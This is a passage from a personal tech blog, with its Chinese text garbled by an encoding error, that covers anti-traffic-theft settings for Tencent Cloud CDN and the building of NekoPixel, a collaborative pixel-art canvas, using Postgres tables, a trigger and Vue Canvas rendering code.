<p>ä¹åè¿ç§»è³ Cloudflare çåå æ¯æä¸çäºåé¿éäºé½å 为 CDN 被çå·ï¼å¯¼è´ä¸å¤ä¹é´è´¦åæ¬ äº ï¿¥600+ãæä¹ä¸ç¥éäºèç½ä¸ä¸ºä»ä¹ä¼æè¿ä¹å¤å¹²çè¿äºæ人ä¸å©å·±çè ¢äºç人ã</p>
<p>å æ¤å¨è¿ç§»ä¹åï¼æååè°¨æ
å°è°ç è¿è
¾è®¯äºç CDN é²çå·åè½ï¼æåçç»è®ºæ¯åç°ä»ä»¬åå¾å±
ç¶è¿ä¸éï¼å¯ä»¥è¯´æ¯å·²ç»ç¸å½å°½åäºãå¨ COS 对象åå¨çãå®å
¨ç®¡çãèåä¸ï¼å±
ç¶æä¸ä¸ªãçå·é£é©çæµãåè½ï¼ä»å个维度è¯ä¼°äºæ¯å¦æçå·é£é©ï¼çç让人ç¼åä¸äº®ï¼å»ºè®®é¿éäºèµ¶ç´§è·è¿ä¸ã</p>
<p><img src="https://github.red/images/2024/04/tencent-cos-security-detection.png" alt="tencent-cos-security-detection"></p>
<p>ææ»ç»äºä¸ï¼å
·ä½æ¯è¿å 个æ¹é¢çé
ç½®ï¼ä»¥åæèªå·±çé
ç½®å¼ã</p>
<table>
<thead>
<tr>
<th style="text-align: center">æå±äº§å</th>
<th style="text-align: center">é
置项</th>
<th style="text-align: center">å¤æ³¨</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">对象åå¨ COS</td>
<td style="text-align: center">åå¨æ¡¶æé</td>
<td style="text-align: center">é
置为<code>ç§æ读å</code>ï¼ææ CDN åç¨æ·è®¿é®ï¼å
¶ä½å
¬ç½è¯·æ±å
¨é¨ ban æ</td>
</tr>
<tr>
<td style="text-align: center">å
容ååç½ç» CDN</td>
<td style="text-align: center">é²çé¾é
ç½®</td>
<td style="text-align: center">é
ç½®ç½åå Refererï¼æ²»æ ä¸æ²»æ¬ï¼CCæ»å»å 个头就è¡ï¼</td>
</tr>
<tr>
<td style="text-align: center">å
容ååç½ç» CDN</td>
<td style="text-align: center">IP访é®éé¢é
ç½®</td>
<td style="text-align: center">10QPSï¼å个 IP éå¶ï¼æä¸å®ææï¼</td>
</tr>
<tr>
<td style="text-align: center">å
容ååç½ç» CDN</td>
<td style="text-align: center">ä¸è¡ééé
ç½®</td>
<td style="text-align: center">å
¨é¨å
容ï¼éé 1024KB/sï¼è¿ä¸ªå¼ææè§è¿å¯ä»¥åä½ï¼é²æ¢è¢«å·æµéï¼</td>
</tr>
<tr>
<td style="text-align: center">å
容ååç½ç» CDN</td>
<td style="text-align: center">ç¨éå°é¡¶é
ç½®</td>
<td style="text-align: center">æµéæ¯äºåéç¬æ¶ç¨éè¶
è¿ 2GBãHTTPS 请æ±æ°æ¯äºåéè¶
è¿ 100 ä¸æ¬¡ãå½å¤© 24 ç¹å累计æµéè¶
è¿ 10GBãï¼è§¦ååä¼ç´æ¥åæ CDN æå¡ï¼é²æ¢ä¸è§éæ¥è´¦åçç¸ï¼</td>
</tr>
</tbody>
</table>
<p>以ä¸é
ç½®æ¯å¦è½ççé²ä½ CC æ»å»ï¼è¿å¾çè
¾è®¯äºçç¨éå°é¡¶é
ç½®å¤ä¹
çæãè½ç¶å®æ¹è¯´æ¯ 10 åéå·¦å³ï¼è¿ä¸ªæ¶é´æè§å¾è¿æ¯æäºé¿ï¼ä¸ä¸å¯¹é¢ 10 åéæåºäº 1 TB æµéå¢ï¼ä½åæ¶è
¾è®¯äºå®æ¹åç»åºäºä¸ç§éè¿å®æ¶ Serverless å½æ°ï¼è¯·æ±è
¾è®¯äº API æ£æµ CDN ç¨éï¼è¶
è¿ç¨éåä½¿ç¨ API å
³é CDN æå¡çæ¹æ³ãç±äºæ¯èªå»º Serverless å®æ¶å½æ°ï¼æ¶é´å¨æå¯ä»¥è®¾çæ´çï¼è¿ä¸ªåç»æå¯ä»¥å°è¯ä¸ã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>åç»æå¯è½ä¼æé¿éäºé群ä¸çä¸å¡ä¹è¿å°è
¾è®¯äºä¸æ¥ã</p>
<p>æè¿ä¸ä¸ªå¤æ以æ¥èªå·±å¾ç¡ç è´¨éä¸æ¯å¾å¥½ï¼æ»æ¯å¿§å¿å¿¡å¿¡ã好å¨ç°å¨é½å·²å°åè½å®ï¼æå¦æ¿æ¿å°äºè
¾è®¯ç Offerï¼èªå·±è¿æ³¢âéä¸é¶åâè¿ç®é¡ºå©ãè¿è¿ç¨ä¸çæçãææ¨ãä¸çï¼ç°å¨åæ³èµ·æ¥ä¹é½ä¸éè¦äºã</p>
<p>ç«å¨äººççåä¸ä¸ªèµ·ç¹ï¼æè¿ä¾æ§è§å¾æ²¡ä»ä¹å®æã对äºåé¢ååæ¶æ¾ä¸è¥¿ï¼æ¬å»ä¸æµ·ï¼æä¹ä¸ç¡®å®èªå·±æ¯å¦åå¤å¥½äºãä½æå¯ä»¥è¯å®çæ¯ï¼èªå·±å·²ç»è·³åºäºåæ¥çèéåï¼é¢åçæ¯å¦ä¸ä¸ªæ´èéçèéåè¿æ¯æ´è°é¾çææï¼è¿è¿å°ä¸å¯ç¥ã</p>
<p><img src="https://github.red/images/2024/04/tencent-offer-accepted.png" alt="tencent-offer-accepted"></p>
- NekoPixel ââ ä¸èµ·æ¥ç»åç´ ç»å§ï¼https://github.red/neko-pixel/Sat, 24 Feb 2024 21:22:46 +0800https://github.red/neko-pixel/<blockquote>
<p>æç« å°é¢ä½¿ç¨ DALL·E 3 çæ</p>
</blockquote>
<p>NekoBox èªä» 2020 å¹´åä¸çº¿ä»¥æ¥ï¼è³ä»ç£ç£ç»ç»è¿è¡äºåå¹´ãä¸å¼å§æåªæ¯å°å
¶å½åä¸ä¸ª CRUD çç»æ项ç®ï¼åå®å丢å°çº¿ä¸å°±æ²¡ç®¡äºãè°ç¥å¨ 2022 å¹´å¼å§ï¼è¿ä¸ªå°ç«ä¸ç¥ä»ä¹åå ï¼çªç¶è¿æ¥äºå¤§éç注åç¨æ·ï¼åæ¶è¿æå 个ç²æ§å¾å¼ºçç¨æ·ï¼ä¸ªäººä¸»é¡µä¸æä¸ç¾æ¡æé®ãï¼ä¹æ¯è¿ä¸¤ä¸ä¸ªé度ç¨æ·ï¼é¡µé¢æ¹çåæ¯å¤©ä¼è·ææ 3-4 åé±ç CDN æµéï¼</p>
<p>ææå¹èªå·±åä¸æ¬¡æ å¿ææ³æ³æè«ï¼äº 2022 å¹´åºååäºå¾å¤æ°åè½ï¼åè½å
æ¬æ°æ®å¯¼åºã注éè´¦å·ãé²éªæ°ãå
容å®å
¨ãå
é¨ BI é¢æ¿ççãå°±å¨æççä¸åé½å°å¾å¥½çæ¹ååå±æ¶ï¼å»å¹´äºæ被ç¸å¼¹äººæäºä¸æ³¢ï¼è¿äºä¹ååæ
¢æ
¢èãä»é£ä¹å NekoBox å
³ç«äºå 个æï¼åé¢æ°æ®å
¨é¨è¿ç§»å°å¢å¤ï¼ä½¿ç¨æ°çååéæ°æ¢å¤äºã</p>
<p>æ并没æå¤§å¼ æé¼å°å»å®£ä¼ æ¢å¤åçååï¼å以为ä¹åçç¨æ·å°±è¿æ ·æµå¤±åä¹ä¸è§äºã没æ¾æ³æéç²ï¼ä¸ééå·çå
å°å·¢ä¸æ¯å¦ææ°çå¨åï¼æ¾å°äºæçæ°ååãè¿ä»¶äºä»¤ææºæå¨çãå¦ä»ç NekoBox æ¯å¤©è¿æé¶é¶æ£æ£çå 个æ°æ³¨åè´¦å·ï¼åå æ¡æ°å¢çè¨è¯è®ºï¼æè§å¾èªå·±ä¸è¯¥ä¸ç´â躺平æçå¼â管çï¼å¾æ³åæ³ç»è¿ä¸ªå°ç«å ç¹æ°çå
ç´ ã</p>
<p>å æ¤ï¼NekoPixel å°±è¯çäºãå NekoBox ä¸æ ·ï¼å®ä¹æ¯å®å
¨å¼æºçï¼<a href="https://github.com/wuhan005/NekoPixel">https://github.com/wuhan005/NekoPixel</a></p>
<h2 id="为ä»ä¹éæ©ååç´ ç»">为ä»ä¹éæ©ååç´ ç»ï¼</h2>
<p>æä¸ç´ä¸æ³å®£ä¼ NekoBoxï¼ä¸æ³è®©å®è¢«å¤ªå¤äººç¥éæ被滥ç¨ã究å
¶åå ï¼è¿æ¯æä¸ä¸ªäººå 为å
´è¶£å¼åè¿è¥çç«ç¹ï¼æ没æé£ä¹å¤ç²¾åå»å³æ¶ååºå®åççé®é¢ãå½æå¨å
å°å·¢ä¸æ¶å°äºæ°çç¨æ·åé¦æ¶ï¼æåªè½çå°ä¸ä¸ªä¸æä¹å¿ä¸ä¸æä¹å°çå¨æ«ï¼æè½éä¸å¿æ¥å¥½å¥½å代ç å¼åãæä¹å¨å»æéä½ NekoBox ç社交å±æ§ã访客åªè½éè¿ç»å®çé¾æ¥çå°æ³¨åç¨æ·çæé®ç®±ï¼æ²¡æå
¶å®ä»»ä½çé¨ç¨æ·æ¨èçåè½ãä¸åç注åç¨æ·ä¹é´ï¼åªè½æ¯å¨ç°å®ä¸æè
å
¶å®å¹³å°ä¸å»ºç«èç³»ï¼å¨ NekoBox ä¸ï¼ä»ä»¬äºç¸ä¸ä¼ææ°å°å¯¹æ¹ã</p>
<p>æ¢ç¶ä¸æ¹ä¾¿å¼ºè°ç¬ç«ä¸ªä½ï¼é£å°±å±ç°ç¾¤ä½çåéï¼</p>
<p>ä¸ç¾¤äººå¨ç½ç»ä¸ä¸èµ·ç»å¶ä¸å¹
å¾ç»ï¼ææ©å¥½åæ¯ä» Reddit å¼å§çï¼åé¢ Bç«å¨ 2017 å¹´æååäºä¸ª<a href="https://live.bilibili.com/pages/1702/pixel-drawing">å¤æ¥ç»æ¿</a>çæ´»å¨ï¼ç¨æ·æ¯é´éä¸æ®µå·å´æ¶é´ï¼å¯ä»¥æ¥æå 个åç´ ç¹ï¼å¨ä¸å¼ å
±äº«çç»å¸ä¸ä½ç»ãè½ç¶å½æ¶Bç«è¿æ²¡ä¸å¸ï¼ä½ç¨æ·ä½éæ¯æå¨é£çï¼æ´åºæ´»å¨ä¸æ¥é¾å
æç¨èæ¬æ£ä¹±ç人ãä½å¥½å¨æåæææºå¥½ï¼å¯ä»¥è¯´æ¯ Bç«äºæ¬¡å
å±æ§æåçä½æäºãæ¶è³ä»æ¥ï¼å½å¹´çæ´»å¨é¡µè¿æ人å¨âç¼
æâãæ认为æ¥å Bç«ä¸å¤ªææºä¼å举åè¿æ ·çæ´»å¨äºï¼æ¢èµä¸å°é±ï¼è¿å¾å¨å
容å®å
¨ä¸å 大æå
¥ã</p>
<p>NekoBox å°±å¾éååè¿ä¸ªï¼ä¸åå
´è¶£ç±å¥½çç¨æ·å¯ä»¥ç»èªå·±å欢çä¸è¥¿ï¼ä½å端åä¸ä¼ç¥éæ¯è°ä¸»å¯¼ç»å¶çãåå ä¸ NekoBox çç¨æ·æ¬æ¥å°±ä¸å¤ï¼å¤§å®¶åå°èªèç©ä¸ç©å¤å¥½ã</p>
<h2 id="å¦ä½å®ç°ç">å¦ä½å®ç°çï¼</h2>
<p>åç´ ç»çå端å¼åé¾åº¦è¿å¤§äºå端ãæ们å
ä»ç¸å¯¹ç®åçå端讲起ã</p>
<p>éè¿ç´æ¥çå Bç«å¤æ¥ç»æ¿çå端ï¼å
·ä½æä»¶å¨ <code>pixel-drawing.d41b770e4052375671dc.js</code>ï¼ï¼æ们å¯ä»¥ç¥éè¿æ¯ä¸ä¸ª 1280 x 720 çå¾çãéè¿éæ¹ç Vue DevToolsï¼å¯ä»¥ç´æ¥çå°å
¶ Vue data é¨åçå
容ï¼</p>
<p><img src="https://github.red/images/2024/02/bilibili-painting-vue-tools.png" alt="bilibili-painting-vue-tools"></p>
<p>å¨ <code>colorMaps</code> 对象åå¨çå°±æ¯é¡µé¢ä¸è°è²ççé¢è²ã<code>colorMaps</code> ç Value æ¯å¯¹åºé¢è²çåå
è¿å¶ï¼Key åæ¯ä» <code>0</code> å¼å§ä¸ç´éå¢å° <code>A</code> <code>B</code> <code>C</code>… çç´¢å¼ãé£ä¹èè使ç¨ä¸ä½çåæ¯ææ°åä½ä¸º Keyï¼æ们å¯ä»¥è¡¨è¾¾ 36 ç§é¢è²ï¼<code>0</code>-<code>9</code>ï¼<code>A</code>-<code>Z</code>ï¼ï¼è¦æ¯å ä¸ç¹æ®ç¬¦å·å
¨è§åè§ï¼åå¯ä»¥è¡¨ç¤ºæ´å¤ã</p>
<p>å¨é¡µé¢ç <code>1.0b2b4b3ccd53641b013c.js</code> æ件ä¸ï¼æ们å¯ä»¥çå°å
¶è¿åäºå¾é¿ä¸ä¸²å符串ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>webpackJsonp([<span style="color:#a5d6ff">1</span>],{<span style="color:#a5d6ff">1697</span><span style="color:#ff7b72;font-weight:bold">:</span><span style="color:#ff7b72">function</span>(Q,O,E){
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"use strict"</span>;<span style="color:#ff7b72">function</span> L(){
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span><span style="color:#a5d6ff">"MGE9EEEE0000090000001100000000"</span>...<span style="color:#a5d6ff">"111011101"</span> <span style="color:#8b949e;font-style:italic">// å°±æ¯è¿ä¸æ®µå ç¾KBç
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> }Object.defineProperty(O,<span style="color:#a5d6ff">"__esModule"</span>,{value<span style="color:#ff7b72;font-weight:bold">:!</span><span style="color:#a5d6ff">0</span>}),O.getFreeSketchingBitmap<span style="color:#ff7b72;font-weight:bold">=</span>L}});
</span></span></code></pre></div><p>该å符串ä¸çæ¯ä¸ªå符æ¯ä¸ä¸ªåç´ ç¹ï¼å
¶å¯¹åºçå°±æ¯ä¸è¿° <code>colorMaps</code> ä¸ Key ææçé¢è²ãå端éè¿è§£æ该å符串ï¼å¨ Canvas ä¸ç»å¶åºåæ¬çå¾çãè¿ç§åå¨æ¹å¼é¢æç¹ bitmap çå³éãé£ä¹å¯¹äºå端èè¨ï¼æ们åªéè¦æ³åæ³è½åå¨ï¼å¹¶å¿«éè¿åè¿æ®µå符串å³å¯ã</p>
<h3 id="mongodbpostgres">MongoDBï¼Postgresï¼</h3>
<p>GitHub ä¸çå¼æºå¤§å¤æ¯ä½¿ç¨ MongoDB æ¥åå¨å个åç´ ç¹ï¼æåæ±éèµ·æ¥è¿åãä½æ们è¿ä¸ªåºæ¯ä¸å
¶å®ä¸å¤ªéè¦ NoSQL ççµæ´»åè½ï¼æ便å³å®ä¾æ§ä½¿ç¨ Postgres æ¥å®ç°ãæå¨ Postgres ä¸ï¼å建ä¸å¼ å为 <code>canvas_pixels</code> ç表ï¼å
± 921600 è¡ï¼1280*720ï¼ï¼ç¨äºåå¨æ´ä¸ªç»é¢ç<strong>ææ°</strong>åç´ ã</p>
<table>
<thead>
<tr>
<th>å段å</th>
<th>ç±»å</th>
<th>说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>user_id</code></td>
<td>INT</td>
<td>æåç»å¶è¯¥åç´ çç¨æ· ID</td>
</tr>
<tr>
<td><code>x</code></td>
<td>INT</td>
<td>åç´ å¨ç»å¸ä¸ç X å¼</td>
</tr>
<tr>
<td><code>y</code></td>
<td>INT</td>
<td>åç´ å¨ç»å¸ä¸ç Y å¼</td>
</tr>
<tr>
<td><code>index</code></td>
<td>STRING</td>
<td>åç´ çé¢è²ç´¢å¼</td>
</tr>
<tr>
<td><code>color</code></td>
<td>STRING</td>
<td>åä½å段ï¼åå¨åç´ çåå
è¿å¶ç¼ç </td>
</tr>
</tbody>
</table>
<p>æ´å¼ 表å¾ç®åææ对ä¸å¯¹ï¼ç¶åå°±å¯ä»¥æå¿«çä½¿ç¨ SQLï¼ç°å° <code>x</code> å <code>y</code> æåºï¼ä¿è¯ä»ä»¬å¨ç»å¸ä¸æ¯ä¾æ¬¡æååºæ¥çï¼åå° <code>index</code> é¢è²ç´¢å¼å符串å并å³å¯ï¼å¦æ¤ç®åç²æ´çæ¹æ³ï¼ å°±å¯ä»¥å°ä¸é¢çå符串çæåºæ¥äºå¦~ æ¥è¯¢ç¨æ¶å¨ 400ms å·¦å³ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">SELECT</span>
</span></span><span style="display:flex;"><span> STRING_AGG(t<span style="color:#a5d6ff">.</span><span style="color:#ff7b72">index</span>, <span style="color:#a5d6ff">''</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">FROM</span> (
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">SELECT</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">INDEX</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">FROM</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"canvas_pixels"</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">WHERE</span>
</span></span><span style="display:flex;"><span> x <span style="color:#ff7b72;font-weight:bold">>=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold">>=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> x <span style="color:#ff7b72;font-weight:bold"><=</span> <span style="color:#a5d6ff">1280</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold"><=</span> <span style="color:#a5d6ff">720</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">ORDER</span> <span style="color:#ff7b72">BY</span>
</span></span><span style="display:flex;"><span> y, x
</span></span><span style="display:flex;"><span>) <span style="color:#ff7b72">AS</span> t
</span></span></code></pre></div><p>ä½åªåè¿å¼ 表ä¼æä¸ä¸ªé®é¢ï¼æ°çåç´ ç»å¶å°èçè®°å½ç»çæäºï¼æ们没æ³è¿½è¸ªæ´å¼ ç»å¸ä¸å¾åéæ¶é´çååãå æ¤è¿æå¼ <code>pixels</code> 表æ¥å½æ¡£åå¨ææç¨æ·çæ¯æ¬¡åç´ æä½ãå¿
è¦æ¶å¯ä»¥éè¿ Scan è¿å¼ 表ï¼ååºå <a href="https://www.bilibili.com/video/av13900223">av13900223</a> çç»æ¿ååå¨ç»ã</p>
<p>å½ç¨æ·ç»å¶ä¸ä¸ªåç´ æ¶ï¼æ们å
å¾ <code>pixels</code> æå
¥ä¸æ¡æ°æ®ï¼åæ´æ° <code>canvas_pixels</code>ï¼ä¸¤ä¸ªæä½å
å¨ä¸ä¸ªäºå¡ä¸å³å¯ãå½ç¶è¿éæææç»è添足ç¨äº Trigger 触åå¨æ¥åï¼ä¹æ¯æ³å®é
ä½éªä¸è§¦åå¨ç使ç¨ãä¸æ¹è¿æ®µè§¦åå¨ç代ç æ¯ç´æ¥è®© ChatGPT åçï¼å¯ä»¥çå°å®å建äºä¸ä¸ªå½æ°ï¼å
ä» <code>colors</code> 表ä¸æ¿å°åå
è¿å¶é¢è²æ对åºçç´¢å¼ï¼ç¶åæ´æ° <code>canvas_pixels</code> ä¸å¯¹åºçåç´ è®°å½ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">FUNCTION</span> public<span style="color:#a5d6ff">.</span>upsert_canvas_pixel()
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">RETURNS</span> <span style="color:#ff7b72">trigger</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">LANGUAGE</span> plpgsql
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">AS</span> <span style="color:#79c0ff">$function$
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">DECLARE
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> colorIndex TEXT;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">BEGIN
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SELECT index INTO colorIndex FROM colors WHERE color = NEW.color LIMIT 1;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF colorIndex IS NOT NULL THEN
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> UPDATE canvas_pixels
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SET color = NEW.color, index = colorIndex
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> WHERE x = NEW.x AND y = NEW.y;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF NOT FOUND THEN
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> INSERT INTO canvas_pixels(x, y, color, index)
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> VALUES (NEW.x, NEW.y, NEW.color, colorIndex);
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> ELSE
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RAISE EXCEPTION 'Color not found in colors table.';
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RETURN NEW;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">END;
</span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">$function$</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">--- å建触åå¨
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">TRIGGER</span> trigger_upsert_canvas_pixel <span style="color:#ff7b72">AFTER</span> <span style="color:#ff7b72">INSERT</span> <span style="color:#ff7b72">ON</span> pixels <span style="color:#ff7b72">FOR</span> <span style="color:#ff7b72">EACH</span> <span style="color:#ff7b72">ROW</span> <span style="color:#ff7b72">EXECUTE</span> <span style="color:#ff7b72">FUNCTION</span> upsert_canvas_pixel ();
</span></span></code></pre></div><p>ä¸å±ç RESTful API é£å°±é便ç³ä¸ç³äºï¼å建åç´ ç¹çæ¶åå¾ <code>pixels</code> æä¸æ¡è®°å½å³å¯ï¼è¿éå°±ä¸åèµè¿°ã</p>
<h2 id="å°é¾ééç-canvas">å°é¾ééç Canvas</h2>
<p>NekoPixel æé¾çé¨åå¨å端ï¼æ´ç¡®åå°è¯´æ¯å¨ Canvasãä¸å¼å§ææç®ç´æ¥è£¸å HTML + JavaScriptï¼ç¶å被ä¸å <code>EventListener</code>æå¾å¾ç¦ï¼æåè¿æ¯å³å®ä¸ Vue3ã</p>
<p>å
æç¡®ä¸ä¸å端æ»ä½çåè½ï¼</p>
<ul>
<li>ç»å¶åç´ ï¼æ们éè¦å°å端è¿åçå符串转åæåå
è¿å¶é¢è²ï¼ä¸ä¸ªåç´ ä¸ä¸ªåç´ å°ç»å¶å° Canvas ä¸ã</li>
<li>æ»è½®ç¼©æ¾ï¼ç¨æ·æ»å¨é¼ æ æ»è½®ï¼å¯ä»¥å®ç°ç»å¸çæ¾å¤§ç¼©å°ã</li>
<li>ç¹å»æå¨ï¼ç¨æ·å¨æ¾å¤§ç»å¸åï¼ç¹å»ç»å¸å¯éææå¨æ¥çã</li>
<li>ç¨æ·ç»å¶ï¼ç¨æ·éæ©é¢è²åï¼ç¹å» Canvasï¼å°é¢è²å¡«å
å°é¼ æ ææçåç´ ä¸ã</li>
</ul>
<h3 id="ç»å¶åç´ ">ç»å¶åç´ </h3>
<p>é¦å
å端请æ±æ¥å£ï¼æ¿å°é¢è²çå符å°åå
è¿å¶çæ å°è¡¨ï¼ç¶åå°å端è¿åçå符串ï¼ä¸ä¸ªä¸ªå符转æ¢æåå
è¿å¶é¢è²æ°ç»ãç¶åå°é¢è²ç»å¶ä¸å»ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> imageData <span style="color:#ff7b72;font-weight:bold">=</span> baseContext.value.createImageData(width, height)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> arrayBuffer <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> ArrayBuffer(imageData.data.length)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> clampedArray <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint8ClampedArray(arrayBuffer)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> uint32Array <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint32Array(arrayBuffer)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> (<span style="color:#ff7b72">let</span> i <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; i <span style="color:#ff7b72;font-weight:bold"><</span> pixels.canvas.length; i<span style="color:#ff7b72;font-weight:bold">++</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> index <span style="color:#ff7b72;font-weight:bold">=</span> pixels.canvas[i]
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> color <span style="color:#ff7b72;font-weight:bold">=</span> colorMap.get(index) <span style="color:#ff7b72;font-weight:bold">??</span> [<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>]
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> pixelValue <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#a5d6ff">255</span> <span style="color:#ff7b72;font-weight:bold"><<</span> <span style="color:#a5d6ff">24</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">2</span>] <span style="color:#ff7b72;font-weight:bold"><<</span> <span style="color:#a5d6ff">16</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">1</span>] <span style="color:#ff7b72;font-weight:bold"><<</span> <span style="color:#a5d6ff">8</span>) <span style="color:#ff7b72;font-weight:bold">|</span> color[<span style="color:#a5d6ff">0</span>]; <span style="color:#8b949e;font-style:italic">// 注æ: è¿é使ç¨çæ¯big-endian
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> uint32Array[i] <span style="color:#ff7b72;font-weight:bold">=</span> pixelValue;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>imageData.data.set(clampedArray)
</span></span><span style="display:flex;"><span>baseContext.value.putImageData(imageData, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>)
</span></span></code></pre></div><p>éè¿é
读代ç ï¼ä½ ä¼åç°æ们æ¯å°åç´ ç»å¶å°äºå¨ä»£ç ä¸æ°å»ºç <code>baseContext</code> ä¸ï¼èä¸æ¯ DOM ä¸å±ç¤ºç <code>canvasPixels</code>ãè¿æ¯å 为 Canvas ç»å¶å·æ°ç¸å½äºç´æ¥å°åç´ çä¸å»äºï¼æ们å¨åç»ç¹å»æå¨çè¿ç¨ä¸ï¼çä¼¼æ¯å¨æå¨ä¸å¼ 大çç»å¸ï¼Canvas è´è´£å±ç¤ºç»å¸çä¸é¨åï¼å
¶å® Canvas æ¯å¨ä¸åå°éç»è¦çä¹åçå
容ãå æ¤éè¦æä¸ä»½å®æ´çå¤ä»½ï¼é¡µé¢ä¸ç Canvas åªæ¯ä»å¤ä»½ä¸éåæå®çé¨åå±ç¤ºã</p>
<p>è¿æä¸ä¸ªå°ç»èæ¯ Canvas ç <code>ctx.imageSmoothingEnabled</code> è¿ä¸ªå±æ§ï¼ä¸å¼å§æåç°å¾çç»å¶å° Canvas ä¸ï¼æ¾å¤§åæ´ä¸ªæ¯ç³çï¼ä¸å Bç«ä¸æ ·æ¾å¤§æ¯æ£±è§åæçåç´ ç¹ãé®é¢å°±åºå¨è¿ä¸ªå±æ§ä¸ï¼Canvas é»è®¤å°å
¶è®¾ç½®ä¸º <code>True</code>ï¼å³å¼å¯å¾åå¹³æ»ï¼æ们éè¦è®¾ç½®æ <code>False</code> æè½å¨ Canvas æ¾å¤§åæ¾ç¤ºåç´ ç¹ã</p>
<h3 id="æ»è½®ç¼©æ¾">æ»è½®ç¼©æ¾</h3>
<p>ç¨æ·å¨ Canvas ä¸æ»å¨æ»è½®ï¼æ们éè¦å¤ç Canvas ç <code>@wheel</code> äºä»¶ãé¦å
ä½¿ç¨ <code>preventDefault()</code> æ¥ç¦ç¨é»è®¤çææï¼é²æ¢æ´ä¸ªæµè§å¨é¡µé¢è¢«æ¾å¤§äºãç¶åéè¿äºä»¶ç <code>deltaY</code> å±æ§çæ£è´æ¥å¤ææ¯æ¾å¤§è¿æ¯ç¼©å°ï¼è®¾ç½®ç¼©æ¾æ¯ä¾åï¼éç»ç»å¸ã</p>
